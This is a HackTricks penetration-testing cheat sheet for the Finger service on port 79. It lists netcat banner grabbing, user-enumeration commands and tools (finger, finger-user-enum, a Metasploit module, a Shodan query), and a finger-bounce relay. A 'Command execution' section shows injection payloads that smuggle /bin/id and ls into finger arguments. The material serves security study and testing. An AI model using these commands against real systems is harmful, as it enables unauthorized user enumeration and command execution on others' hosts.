79 - Pentesting Finger - HackTricks

# 79 - Pentesting Finger

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## Basic Info

The Finger program/service is utilized for retrieving details about computer users. Typically, the information provided includes the user's login name, full name, and, in some cases, additional details. These extra details could encompass the office location and phone number (if available), the time the user logged in, the period of inactivity (idle time), the last instance mail was read by the user, and the contents of the user's plan and project files.

Default port: 79

    PORT   STATE SERVICE
    79/tcp open  finger

## Enumeration

### Banner Grabbing/Basic connection

    nc -vn <IP> 79
    echo "root" | nc -vn <IP> 79

### User enumeration

    finger @<Victim>       #List users
    finger admin@<Victim>  #Get info of user
    finger user@<Victim>   #Get info of user

Alternatively you can use finger-user-enum from pentestmonkey, some examples:

    finger-user-enum.pl -U users.txt -t 10.0.0.1
    finger-user-enum.pl -u root -t 10.0.0.1
    finger-user-enum.pl -U users.txt -T ips.txt

#### Nmap execute a script for doing using default scripts

### Metasploit uses more tricks than Nmap

    use auxiliary/scanner/finger/finger_users

### Shodan

- `port:79 USER`

## Command execution

    finger "|/bin/id@example.com"
    finger "|/bin/ls -a /@example.com"

## Finger Bounce

Use a system as a finger relay

    finger user@host@victim
    finger @internal@external

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> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
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> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.